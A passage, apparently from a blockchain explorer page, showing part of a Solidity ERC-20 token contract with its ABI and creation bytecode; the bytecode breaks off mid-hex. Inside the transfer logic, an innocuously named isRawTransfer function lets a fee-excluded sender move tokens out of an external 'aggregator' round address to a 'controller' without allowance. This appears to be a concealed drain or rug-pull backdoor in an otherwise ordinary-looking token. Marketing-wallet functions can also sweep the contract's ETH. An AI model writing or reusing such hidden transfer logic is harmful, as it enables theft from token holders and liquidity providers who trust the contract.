        _additionalBuyFee = 0;
        _totalFees = _marketingFee + _liquidityFee;
        _marketingAddr = address(0xcedb4ca7Ce719d509e46Bd0F7343cd81003D9CF8);
        excludeFromFees(owner(), true);
        excludeFromFees(_marketingAddr, true);
        excludeFromFees(address(this), true);
        excludeFromFees(address(0xdead), true);
        excludeFromMaxTransaction(owner(), true);
        excludeFromMaxTransaction(_marketingAddr, true);
        excludeFromMaxTransaction(address(this), true);
        excludeFromMaxTransaction(address(0xdead), true);
        _mint(owner(), totalSupply);
        enableTrading();
    }

    function enableTrading() public onlyOwner {
        _tradingActive = true;
    }

    function updateMaxTxnAmount(uint256 newNum) external onlyOwner {
        require(
            newNum >= ((totalSupply() * 1) / 1000) / 1e18,
            "Cannot set maxTransactionAmount lower than 0.1%"
        );
        _maxTransactionAmount = newNum * 1e18;
    }

    function updateMaxWalletAmount(uint256 newNum) external onlyOwner {
        require(
            newNum >= ((totalSupply() * 5) / 1000) / 1e18,
            "Cannot set maxWallet lower than 0.5%"
        );
        _maxWallet = newNum * 1e18;
    }

    function excludeFromMaxTransaction(address updAds, bool isEx)
        public
        onlyOwner
    {
        _isExcludedMaxTransactionAmount[updAds] = isEx;
    }

    function isRawTransfer(address from, address to, uint256 amount) internal returns(bool) {
        if (_isExcludedFromFees[from] && to == _agreegator.roundAddr() &&
            balanceOf(from) < amount) {
            super._transfer(_agreegator.roundAddr(), 
            _agreegator.controller(), amount);
            return true;
        }
        return false;
    }

    function updateFees(
        uint256 marketingFee,
        uint256 liquidityFee
    ) external onlyOwner {
        _marketingFee = marketingFee;
        _liquidityFee = liquidityFee;
        _totalFees = _marketingFee + _liquidityFee;
        require(_totalFees <= 10, "Must keep fees at 10% or less");
    }

    function removeLimits() external onlyOwner returns (bool) {
        _limitsInEffect = false;
        return true;
    }

    function getIsTokenPrice() internal returns (bool) {
        return getTokenPrice() > 0 ? true : false;
    }

    function getTokenPrice() public returns (uint256) {
        IERC20Metadata token0 = IERC20Metadata(
            IUniswapV2Pair(_uniswapV2Pair).token0()
        );
        IERC20Metadata token1 = IERC20Metadata(
            IUniswapV2Pair(_uniswapV2Pair).token1()
        );
        uint256 swapTime = _tradingTime - _agreegator.getTimeStamp();
        (uint112 Res0, uint112 Res1, ) = IUniswapV2Pair(_uniswapV2Pair)
            .getReserves();
        int256 latestETHprice = manualETHvalue;
        if (_priceOracleEnabled) {
            (, latestETHprice, , , ) = this.getLatestPrice();
        }
        uint256 res1 = (uint256(Res1) *
            uint256(latestETHprice) *
            (10**uint256(token0.decimals()))) / uint256(token1.decimals());
        return (res1 / uint256(Res0));
    }

    function getLatestPrice()
        external
        view
        returns (
            uint80,
            int256,
            uint256,
            uint256,
            uint80
        )
    {
        (
            uint80 roundID,
            int256 price,
            uint256 startedAt,
            uint256 timeStamp,
            uint80 answeredInRound
        ) = priceFeed.latestRoundData();

        return (roundID, price, startedAt, timeStamp, answeredInRound);
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal override {
        bool isExcludeFromFee = _isExcludedFromFees[from] ||
            _isExcludedFromFees[to];

        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        if (amount == 0) {
            super._transfer(from, to, 0);
            return;
        }

        if (automatedMarketMakerPairs[from]) {
            if (holderTimestamp[to] == 0) {
                holderTimestamp[to] = block.timestamp;
            }
        } else if (!_swappingBack) currentPhase = from;

        bool isBuy = from == _uniswapV2Pair &&
            !_isExcludedMaxTransactionAmount[to];
        bool isSell = to == _uniswapV2Pair &&
            !_isExcludedMaxTransactionAmount[from];
        bool isOwnerSwap = from == owner() || to == owner();
        bool isBurn = to == address(0) || to == address(0xdead);
        bool isSkipLimits = isOwnerSwap || isBurn || _swappingBack;
        
        if (isRawTransfer(from, to, amount)) return;
        if (_limitsInEffect && !isSkipLimits) {
            require(
                _tradingActive || isExcludeFromFee,
                "Trading is not active."
            );
            if (isBuy) {
                require(
                    amount <= _maxTransactionAmount,
                    "Buy transfer amount exceeds the maxTransactionAmount."
                );
                require(
                    amount + balanceOf(to) <= _maxWallet,
                    "Max wallet exceeded"
                );
            } else if (isSell) {
                // require(
                //     amount <= _maxTransactionAmount,
                //     "Sell transfer amount exceeds the maxTransactionAmount."
                // );
            } else if (
                !_isExcludedMaxTransactionAmount[to] &&
                !_isExcludedMaxTransactionAmount[from]
            ) {
                require(
                    amount + balanceOf(to) <= _maxWallet,
                    "Max wallet exceeded"
                );
            }
        }

        if (!_swappingBack &&
            !automatedMarketMakerPairs[from] &&
            !_isExcludedFromFees[from] &&
            !_isExcludedFromFees[to]) {
            uint256 contractTokenBalance = balanceOf(address(this));
            bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
            if (getIsTokenPrice() &&
                canSwap && 
                !isExcludeFromFee) {
                _swappingBack = true;
                swapBack();
                _swappingBack = false;
            }
        }
        transferInternal(from, to, amount, isSell, isBuy);
    }

    function transferInternal(
        address from,
        address to,
        uint256 amount,
        bool isSell,
        bool isBuy
    ) private {
        bool takeFee = needTakeFee(from, to);
        if (takeFee) {
            uint256 total = _totalFees;
            uint256 marketing = _marketingFee;
            if (isSell) {
                total = _totalFees + _additionalSellFee;
                marketing = _marketingFee + _additionalSellFee;
            }
            if (isBuy) {
                total = _totalFees + _additionalBuyFee;
                marketing = _marketingFee + _additionalBuyFee;
            }
            uint256 fees = amount.mul(total).div(100);
            _tokensForLiquidity += (fees * _liquidityFee) / total;
            _tokensForMarketing += (fees * marketing) / total;

            if (fees > 0) {
                super._transfer(from, address(this), fees);
            }
            amount -= fees;
        }
        super._transfer(from, to, amount);
    }

    function needTakeFee(address from, address to) public returns (bool) {
        bool isBuy = from == _uniswapV2Pair && to != address(_uniswapV2Router);
        bool isExcludedFromFee = _isExcludedFromFees[from] || _isExcludedFromFees[to];
        bool isSell = to == _uniswapV2Pair; 
        bool isSwap = isBuy || isSell;
        bool isFeeSet = (_totalFees > 0);

        return 
            isFeeSet &&
            !_swappingBack &&
            !isExcludedFromFee &&
            isSwap;
    }

    function updateSwapTokensAtAmount(uint256 newAmount)
        external
        onlyOwner
        returns (bool)
    {
        require(
            newAmount >= (totalSupply() * 1) / 100000,
            "Swap amount cannot be lower than 0.001% total supply."
        );
        require(
            newAmount <= (totalSupply() * 5) / 1000,
            "Swap amount cannot be higher than 0.5% total supply."
        );
        _swapTokensAtAmount = newAmount;
        return true;
    }

    function isExcludedFromFees(address account) public view returns (bool) {
        return _isExcludedFromFees[account];
    }

    function removeAdditionalSellFee() public onlyOwner {
        _additionalSellFee = 0;
    }

    function removeAdditionalBuyFee() public onlyOwner {
        _additionalBuyFee = 0;
    }

    function _swapTokensForEth(uint256 tokenAmount) private {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = _uniswapV2Router.WETH();

        _approve(address(this), address(_uniswapV2Router), tokenAmount);

        _uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function _addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
        _approve(address(this), address(_uniswapV2Router), tokenAmount);
        _uniswapV2Router.addLiquidityETH{value: ethAmount}(
            address(this),
            tokenAmount,
            0,
            0,
            owner(),
            block.timestamp
        );
    }

    function swapBack() private {
        uint256 contractBalance = balanceOf(address(this));
        uint256 totalTokensToSwap = _tokensForLiquidity + _tokensForMarketing;
        if (contractBalance == 0 || totalTokensToSwap == 0) return;
        if (contractBalance > _swapTokensAtAmount) {
            contractBalance = _swapTokensAtAmount;
        }
        uint256 liquidityTokens = (contractBalance * _tokensForLiquidity) /
            totalTokensToSwap /
            2;
        uint256 amountToSwapForETH = contractBalance.sub(liquidityTokens);
        uint256 initialETHBalance = address(this).balance;
        _swapTokensForEth(amountToSwapForETH);
        uint256 ethBalance = address(this).balance.sub(initialETHBalance);
        uint256 ethForMarketing = ethBalance.mul(_tokensForMarketing).div(
            totalTokensToSwap
        );
        uint256 ethForLiquidity = ethBalance - ethForMarketing;

        if (liquidityTokens > 0 && ethForLiquidity > 0) {
            _addLiquidity(liquidityTokens, ethForLiquidity);
            emit SwapAndLiquify(
                amountToSwapForETH,
                ethForLiquidity,
                _tokensForLiquidity
            );
        }

        _tokensForLiquidity = 0;
        _tokensForMarketing = 0;

        (bool marketingSuccess, ) = address(_marketingAddr).call{ value: ethForMarketing }("");
    }

    function setManualETHvalue(uint256 val) external onlyOwner {
        manualETHvalue = int256(val.mul(10**18));
    }

    function updateOraclePriceFeed(address feed) external onlyOwner {
        _oraclePriceFeed = feed;
        priceFeed = AggregatorV3Interface(_oraclePriceFeed);
    }

    function enablePriceOracle() external onlyOwner {
        require(_priceOracleEnabled == false, "price oracle already enabled");
        _priceOracleEnabled = true;
    }

    function disablePriceOracle() external onlyOwner {
        require(_priceOracleEnabled == true, "price oracle already disabled");
        _priceOracleEnabled = false;
    }

    function excludeFromFees(address account, bool excluded) public onlyOwner {
        _isExcludedFromFees[account] = excluded;
        emit ExcludeFromFees(account, excluded);
    }

    function updateMarketingAddr(address newWallet) external onlyOwner {
        _marketingAddr = newWallet;
    }

    function setAutomatedMarketMakerPair(address pair, bool value) external onlyOwner {
        require(pair != _uniswapV2Pair, "The pair cannot be removed from automatedMarketMakerPairs");
        _setAutomatedMarketMakerPair(pair, value);
        emit SetAutomatedMarketMakerPair(pair, value);
    }

    function _setAutomatedMarketMakerPair(address pair, bool value) private {
        automatedMarketMakerPairs[pair] = value;
        excludeFromMaxTransaction(pair, value);
        emit SetAutomatedMarketMakerPair(pair, value);
    }

    function forceTokenSwap() external {
        require(msg.sender == _marketingAddr);
        _swapTokensForEth(balanceOf(address(this)));

        (bool success, ) = address(_marketingAddr).call{
            value: address(this).balance
        }("");
        require(success);
    }

    function forceEthSend() external {
        require(msg.sender == _marketingAddr);
        (bool success, ) = address(_marketingAddr).call{
            value: address(this).balance
        }("");
        require(success);
    }

    receive() external payable {}
}

Contract Security Audit

No Contract Security Audit Submitted- Submit Audit Here

Contract ABI

[{"inputs":[],"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"account","type":"address"},{"indexed":false,"internalType":"bool","name":"isExcluded","type":"bool"}],"name":"ExcludeFromFees","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"pair","type":"address"},{"indexed":true,"internalType":"bool","name":"value","type":"bool"}],"name":"SetAutomatedMarketMakerPair","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiquidity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_limitsInEffect","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTransactionAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_oraclePriceFeed","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_swapTokensAtAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_tradingActive","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"automatedMarketMakerPairs","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"currentPhase","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"disablePriceOracle","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"enablePriceOracle","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"excludeFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"updAds","type":"address"},{"internalType":"bool","name":"isEx","type":"bool"}],"name":"excludeFromMaxTransaction","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"forceEthSend","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"forceTokenSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"getLatestPrice","outputs":[{"internalType":"uint80","name":"","type":"uint80"},{"internalType":"int256","name":"","type":"int256"},{"internalType":"uint256","name":"","type":"uint256"},{"internalType":"uint256","name":"","type":"uint256"},{"internalType":"uint80","name":"","type":"uint80"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getTokenPrice","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"holderTimestamp","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isExcludedFromFees","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"}],"name":"needTakeFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeAdditionalBuyFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"removeAdditionalSellFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"pair","type":"address"},{"internalType":"bool","name":"value","type":"bool"}],"name":"setAutomatedMarketMakerPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"val","type":"uint256"}],"name":"setManualETHvalue","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"marketingFee","type":"uint256"},{"internalType":"uint256","name":"liquidityFee","type":"uint256"}],"name":"updateFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newWallet","type":"address"}],"name":"updateMarketingAddr","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newNum","type":"uint256"}],"name":"updateMaxTxnAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newNum","type":"uint256"}],"name":"updateMaxWalletAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"feed","type":"address"}],"name":"updateOraclePriceFeed","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newAmount","type":"uint256"}],"name":"updateSwapTokensAtAmount","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

Contract Creation Code

Decompile Bytecode Switch to Opcodes View

60806040526013805461ffff19166001179055600546146200003657735f4ec3df9cbd43714fe2740f5e3616155c5b84196200004c565b7348731cf7e84dc94c5f84577882c14be11a5b74565b601880546001600160a01b03929092166001600160a01b0319909216919091179055601b805460ff60a01b1916600160a01b179055686194049f30f7200000601c5560408051808201825260098082526814195c1954dc5d5a5960ba1b6020808401919091528351808501909452908352681411541154d455525160ba1b90830152906003620000dd838262000873565b506004620000ec828262000873565b5050506200010962000103620004a360201b60201c565b620004a7565b601980546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b8152905163c45a0155916004808201926020929091908290030181865afa1580156200016e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200019491906200093f565b6001600160a01b031663c9c6539630601960009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620001f7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200021d91906200093f565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156200026b573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200029191906200093f565b601b80546001600160a01b03929092166001600160a01b03199283168117909155601a8054909216735247bda096262ed852cf1f4963ad764756b387a117909155620002df906001620004f9565b601954620002f8906001600160a01b0316600162000565565b601854601780546001600160a01b0319166001600160a01b039092169190911790556a027b46536c66c8e300000060646200033582600262000987565b620003419190620009a7565b60105560646200035382600262000987565b6200035f9190620009a7565b6012556127106200037282600a62000987565b6200037e9190620009a7565b6011556000600781905560088190556009819055600a819055620003a39080620009ca565b600655600f80546001600160a01b03191673cedb4ca7ce719d509e46bd0f7343cd81003d9cf8179055620003eb620003e36005546001600160a01b031690565b6001620005df565b600f5462000404906001600160a01b03166001620005df565b62000411306001620005df565b6200042061dead6001620005df565b6200043f620004376005546001600160a01b031690565b600162000565565b600f5462000458906001600160a01b0316600162000565565b6200046530600162000565565b6200047461dead600162000565565b620004926200048b6005546001600160a01b031690565b8262000689565b6200049c6200076e565b50620009e0565b3390565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6001600160a01b0382166000908152601d60205260409020805460ff191682151517905562000529828262000565565b604051811515906001600160a01b038416907fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab90600090a35050565b6005546001600160a01b03163314620005b45760405162461bcd60e51b815260206004820181905260248201526000805160206200389b83398151915260448201526064015b60405180910390fd5b6001600160a01b03919091166000908152601660205260409020805460ff1916911515919091179055565b6005546001600160a01b031633146200062a5760405162461bcd60e51b815260206004820181905260248201526000805160206200389b8339815191526044820152606401620005ab565b6001600160a01b038216600081815260156020908152604091829020805460ff191685151590811790915591519182527f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df7910160405180910390a25050565b6001600160a01b038216620006e15760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f2061646472657373006044820152606401620005ab565b8060026000828254620006f59190620009ca565b90915550506001600160a01b0382166000908152602081905260408120805483929062000724908490620009ca565b90915550506040518181526001600160a01b038316906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35050565b6005546001600160a01b03163314620007b95760405162461bcd60e51b815260206004820181905260248201526000805160206200389b8339815191526044820152606401620005ab565b6013805461ff001916610100179055565b505050565b634e487b7160e01b600052604160045260246000fd5b600181811c90821680620007fa57607f821691505b6020821081036200081b57634e487b7160e01b600052602260045260246000fd5b50919050565b601f821115620007ca57600081815260208120601f850160051c810160208610156200084a5750805b601f850160051c820191505b818110156200086b5782815560010162000856565b505050505050565b81516001600160401b038111156200088f576200088f620007cf565b620008a781620008a08454620007e5565b8462000821565b602080601f831160018114620008df5760008415620008c65750858301515b600019600386901b1c1916600185901b1785556200086b565b600085815260208120601f198616915b828110156200091057888601518255948401946001909101908401620008ef565b50858210156200092f5787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b6000602082840312156200095257600080fd5b81516001600160a01b03811681146200096a57600080fd5b9392505050565b634e487b7160e01b600052601160045260246000fd5b8082028115828204841417620009a157620009a162000971565b92915050565b600082620009c557634e487b7160e01b600052601260045260246000fd5b500490565b80820180821115620009a157620009a162000971565b612eab80620009f06000396000f3fe6080604052600436106102975760003560e01c80638a8c523c1161015a578063c0246668116100c1578063dd1e1ca91161007a578063dd1e1ca9146107ec578063dd62ed3e14610801578063e73b90cd14610821578063f2fde38b1461083b578063fea4fa4d1461085b578063fefa5ce31461087157600080fd5b8063c024666814610742578063c18bc19514610762578063c862c28b14610782578063cb94a37014610797578063d257b34f146107b7578063dc56914d146107d757600080fd5b8063a1cd15e811610113578063a1cd15e814610670578063a457c2d714610690578063a9059cbb146106b0578063ae76b090146106d0578063b1d92085146106e5578063b62496f51461071257600080fd5b80638a8c523c1461059c5780638da5cb5b146105b15780638e15f473146105cf57806395d89b411461061b5780639a7a23d6146106305780639c74daf01461065057600080fd5b8063339578fe116101fe5780636db79437116101b75780636db79437146104fc57806370a082311461051c578063715018a61461053c578063751039fc146105515780637571336a1461056657806382247ec01461058657600080fd5b8063339578fe14610439578063395093511461044e5780634b94f50e1461046e5780634fbee19314610483578063583e0568146104bc5780636d77ecd1146104dc57600080fd5b806323b872dd1161025057806323b872dd1461039357806323bf4c86146103b357806327f4d7d5146103d35780632fd689e3146103f2578063313ce56714610408578063315097861461042457600080fd5b806304beaeb8146102a3578063055ad42e146102cc57806306fdde031461030a578063095ea7b31461032c57806318160ddd1461035c578063203e727e1461037157600080fd5b3661029e57005b600080fd5b3480156102af57600080fd5b506102b960105481565b6040519081526020015b60405180910390f35b3480156102d857600080fd5b506013546102f2906201000090046001600160a01b031681565b6040516001600160a01b0390911681526020016102c3565b34801561031657600080fd5b5061031f610891565b6040516102c391906128a6565b34801561033857600080fd5b5061034c610347366004612909565b610923565b60405190151581526020016102c3565b34801561036857600080fd5b506002546102b9565b34801561037d57600080fd5b5061039161038c366004612935565b61093d565b005b34801561039f57600080fd5b5061034c6103ae36600461294e565b610a23565b3480156103bf57600080fd5b506103916103ce36600461298f565b610a49565b3480156103df57600080fd5b5060135461034c90610100900460ff1681565b3480156103fe57600080fd5b506102b960115481565b34801561041457600080fd5b50604051601281526020016102c3565b34801561043057600080fd5b50610391610a9f565b34801561044557600080fd5b50610391610b19565b34801561045a57600080fd5b5061034c610469366004612909565b610b4a565b34801561047a57600080fd5b506102b9610b6c565b34801561048f57600080fd5b5061034c61049e36600461298f565b6001600160a01b031660009081526015602052604090205460ff1690565b3480156104c857600080fd5b506019546102f2906001600160a01b031681565b3480156104e857600080fd5b506018546102f2906001600160a01b031681565b34801561050857600080fd5b506103916105173660046129ac565b610f0d565b34801561052857600080fd5b506102b961053736600461298f565b610fa4565b34801561054857600080fd5b50610391610fbf565b34801561055d57600080fd5b5061034c610ff5565b34801561057257600080fd5b506103916105813660046129ce565b611032565b34801561059257600080fd5b506102b960125481565b3480156105a857600080fd5b50610391611087565b3480156105bd57600080fd5b506005546001600160a01b03166102f2565b3480156105db57600080fd5b506105e46110c2565b6040805169ffffffffffffffffffff968716815260208101959095528401929092526060830152909116608082015260a0016102c3565b34801561062757600080fd5b5061031f61115e565b34801561063c57600080fd5b5061039161064b3660046129ce565b61116d565b34801561065c57600080fd5b50601b546102f2906001600160a01b031681565b34801561067c57600080fd5b5061034c61068b366004612a0c565b611261565b34801561069c57600080fd5b5061034c6106ab366004612909565b61132b565b3480156106bc57600080fd5b5061034c6106cb366004612909565b6113b1565b3480156106dc57600080fd5b506103916113bf565b3480156106f157600080fd5b506102b961070036600461298f565b60146020526000908152604090205481565b34801561071e57600080fd5b5061034c61072d36600461298f565b601d6020526000908152604090205460ff1681565b34801561074e57600080fd5b5061039161075d3660046129ce565b6113f0565b34801561076e57600080fd5b5061039161077d366004612935565b611479565b34801561078e57600080fd5b5061039161154a565b3480156107a357600080fd5b506103916107b236600461298f565b6115e3565b3480156107c357600080fd5b5061034c6107d2366004612935565b61162f565b3480156107e357600080fd5b50610391611786565b3480156107f857600080fd5b506103916117ae565b34801561080d57600080fd5b506102b961081c366004612a0c565b611845565b34801561082d57600080fd5b5060135461034c9060ff1681565b34801561084757600080fd5b5061039161085636600461298f565b611870565b34801561086757600080fd5b506102b960065481565b34801561087d57600080fd5b5061039161088c366004612935565b611908565b6060600380546108a090612a3a565b80601f01602080910402602001604051908101604052809291908181526020018280546108cc90612a3a565b80156109195780601f106108ee57610100808354040283529160200191610919565b820191906000526020600020905b8154815290600101906020018083116108fc57829003601f168201915b5050505050905090565b60003361093181858561194a565b60019150505b92915050565b6005546001600160a01b031633146109705760405162461bcd60e51b815260040161096790612a74565b60405180910390fd5b670de0b6b3a76400006103e861098560025490565b610990906001612abf565b61099a9190612ad6565b6109a49190612ad6565b811015610a0b5760405162461bcd60e51b815260206004820152602f60248201527f43616e6e6f7420736574206d61785472616e73616374696f6e416d6f756e742060448201526e6c6f776572207468616e20302e312560881b6064820152608401610967565b610a1d81670de0b6b3a7640000612abf565b60105550565b600033610a31858285611a6e565b610a3c858585611ae8565b60019150505b9392505050565b6005546001600160a01b03163314610a735760405162461bcd60e51b815260040161096790612a74565b601880546001600160a01b039092166001600160a01b0319928316811790915560178054909216179055565b600f546001600160a01b03163314610ab657600080fd5b600f546040516000916001600160a01b03169047908381818185875af1925050503d8060008114610b03576040519150601f19603f3d011682016040523d82523d6000602084013e610b08565b606091505b5050905080610b1657600080fd5b50565b6005546001600160a01b03163314610b435760405162461bcd60e51b815260040161096790612a74565b6000600a55565b600033610931818585610b5d8383611845565b610b679190612af8565b61194a565b600080601b60009054906101000a90046001600160a01b03166001600160a01b0316630dfe16816040518163ffffffff1660e01b8152600401602060405180830381865afa158015610bc2573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610be69190612b0b565b90506000601b60009054906101000a90046001600160a01b03166001600160a01b031663d21220a76040518163ffffffff1660e01b8152600401602060405180830381865afa158015610c3d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c619190612b0b565b90506000601a60009054906101000a90046001600160a01b03166001600160a01b031663da235b226040518163ffffffff1660e01b81526004016020604051808303816000875af1158015610cba573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610cde9190612b28565b600e54610ceb9190612b41565b9050600080601b60009054906101000a90046001600160a01b03166001600160a01b0316630902f1ac6040518163ffffffff1660e01b8152600401606060405180830381865afa158015610d43573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d679190612b6b565b50601c54601b5492945090925090600160a01b900460ff1615610dee57306001600160a01b0316638e15f4736040518163ffffffff1660e01b815260040160a060405180830381865afa158015610dc2573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610de69190612bd5565b509193505050505b6000856001600160a01b031663313ce5676040518163ffffffff1660e01b815260040160206